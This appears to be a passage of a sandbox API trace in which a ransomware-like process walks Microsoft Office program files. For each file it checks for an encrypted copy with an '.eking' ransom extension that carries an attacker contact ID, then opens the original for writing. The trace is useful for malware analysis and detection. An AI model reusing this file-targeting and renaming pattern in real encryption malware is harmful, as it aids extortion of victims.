CloseHandle (hObject=0x39c) returned 1 [0253.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0253.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll")) returned 0x220 [0253.705] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.705] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-heap-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.706] SetEvent (hEvent=0x2b8) returned 1 [0253.707] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.709] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0253.709] CloseHandle (hObject=0x39c) returned 1 [0253.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0253.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll")) returned 0x220 [0253.709] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.710] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-locale-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.711] SetEvent (hEvent=0x2b8) returned 1 [0253.711] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.713] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=27840) returned 1 [0253.713] CloseHandle (hObject=0x39c) returned 1 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll")) returned 0x220 [0253.713] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.713] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-math-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.714] SetEvent (hEvent=0x2b8) returned 1 [0253.714] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.714] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=26816) returned 1 [0253.714] CloseHandle (hObject=0x39c) returned 1 [0253.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0253.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 0x220 [0253.715] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.715] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-multibyte-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.716] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.716] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=70848) returned 1 [0253.717] CloseHandle (hObject=0x39c) returned 1 [0253.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0253.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll")) returned 0x220 [0253.717] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.717] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-private-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.718] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.721] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19648) returned 1 [0253.721] CloseHandle (hObject=0x39c) returned 1 [0253.721] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0253.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll")) returned 0x220 [0253.722] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-process-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.722] SetEvent (hEvent=0x2b8) returned 1 [0253.722] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.724] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=23232) returned 1 [0253.724] CloseHandle (hObject=0x39c) returned 1 [0253.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0253.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll")) returned 0x220 [0253.724] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-runtime-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.725] SetEvent (hEvent=0x2b8) returned 1 [0253.725] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.726] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24768) returned 1 [0253.726] CloseHandle (hObject=0x39c) returned 1 [0253.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0253.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x220 [0253.726] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.727] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.728] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=24768) returned 1 [0253.728] CloseHandle (hObject=0x39c) returned 1 [0253.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0253.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll")) returned 0x220 [0253.728] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-string-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.729] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.729] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=21184) returned 1 [0253.730] CloseHandle (hObject=0x39c) returned 1 [0253.730] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0253.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x220 [0253.731] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.731] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.732] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.733] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=19136) returned 1 [0253.733] CloseHandle (hObject=0x39c) returned 1 [0253.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0253.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll")) returned 0x220 [0253.733] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.733] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\api-ms-win-crt-utility-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.734] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.735] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=215768) returned 1 [0253.735] CloseHandle (hObject=0x39c) returned 1 [0253.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0253.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe")) returned 0x220 [0253.735] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate32.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate32.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.736] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.737] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=255192) returned 1 [0253.737] CloseHandle (hObject=0x39c) returned 1 [0253.737] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0253.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe")) returned 0x220 [0253.738] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppVDllSurrogate64.exe" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvdllsurrogate64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.738] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.741] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=396960) returned 1 [0253.741] CloseHandle (hObject=0x39c) returned 1 [0253.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll")) returned 0x420 [0253.741] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll")) returned 0x420 [0253.742] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0253.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream32.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0253.742] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x39c [0253.744] GetFileSizeEx (in: hFile=0x39c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=473760) returned 1 [0253.744] CloseHandle (hObject=0x39c) returned 1 [0254.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0254.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll")) returned 0x420 [0254.041] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll.id[B4197730-2888].[ICQ@fartwetsquirrel].eking" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll.id[b4197730-2888].[icq@fartwetsquirrel].eking")) returned 0xffffffff [0254.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\client\\AppvIsvStream64.dll" (normalized: "c:\\program files\\microsoft office\\root\\client\\appvisvstream64.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0254.042] SetEvent (hEvent=0x2b8) returned 1 [0254.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0254.046] GetFileSizeEx (in: hFile=0x38c, lpFileSize=0x30dfd68 | out: lpFileSize=0x30dfd68*=7216) returned 1 [0254.046] CloseHandle (hObject=0x38c) returned 1 [0254.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0254.046] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00011_.gif")) returned 0x220 [0254.047] GetFileAttributesW 